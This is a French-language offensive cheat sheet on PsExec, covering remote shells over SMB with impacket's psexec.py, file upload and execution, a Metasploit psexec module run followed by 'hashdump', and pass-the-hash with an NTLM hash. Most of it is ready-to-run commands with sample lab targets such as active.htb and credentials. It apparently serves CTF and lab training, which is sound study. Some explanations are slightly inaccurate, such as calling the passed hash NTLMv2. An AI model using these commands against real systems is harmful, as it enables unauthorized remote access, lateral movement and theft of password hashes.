PsExec (smb tool)

PsExec est un outil de la suite Sysinternals de Microsoft, utilisé pour exécuter des commandes ou des programmes à distance sur des ordinateurs Windows. Il permet d'obtenir un accès interactif ou en arrière-plan sur une machine distante, souvent avec des privilèges élevés, sans avoir besoin de se connecter physiquement ou d'utiliser un client RDP. C'est particulièrement utile pour l'administration réseau, les tests de sécurité ou l'automatisation des tâches.

Si nous recevons le message :

"Signing enabled but not required"

• Cela signifie que l'authentification peut se faire sans vérification de signature. Autrement dit, une communication non sécurisée est possible, ce qui permet une exploitation potentielle pour l'authentification.

PsExec.py

Voici un exemple de commande pour obtenir un shell interactif avec des privilèges administratifs:

psexec.py <domaine>/<utilisateur>:<mot_de_passe>@<adresse_ip> cmd.exe

psexec.py active.htb/Administrator:[email protected] cmd.exe

Exécution à distance de commandes

Permet de lancer des commandes ou des scripts directement sur une machine distante, sans ouvrir de session utilisateur.

psexec \\<adresse_ip> -u <utilisateur> -p <mot_de_passe> <commande>

psexec \\192.168.1.100 -u Administrateur -p Password123 cmd /c "ipconfig /all"

Chargement de fichiers distants

PsExec permet de copier un fichier local sur la machine distante avant de l'exécuter.

psexec \\<adresse_ip> -c <chemin_du_fichier>

psexec.py \\192.168.1.100 -c C:\chemin\vers\mon_fichier.exe

Metasploit

Utilisation de Metasploit pour l'exploitation de SMB avec PsExec

1. Lancer Metasploit avec le module exploit/windows/smb/psexec :

use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit

Après avoir réussi à obtenir un accès, il est possible de "dumper" les hachages des mots de passe (hashes) :

hashdump

Pass-The-Hash - PsExec

PsExec peut également être utilisé pour exploiter une attaque Pass-The-Hash en fournissant un hash NTLM v2 au lieu d'un mot de passe. Cela permet de se connecter à une machine cible avec des privilèges administratifs. Exemple :

psexec.py <domaine>/<utilisateur>@<adresse_ip> -hashes :<hash_ntlm>

psexec.py WORKGROUP/[email protected] -hashes :e0fb1fb85756c24235ff238cbe81fe00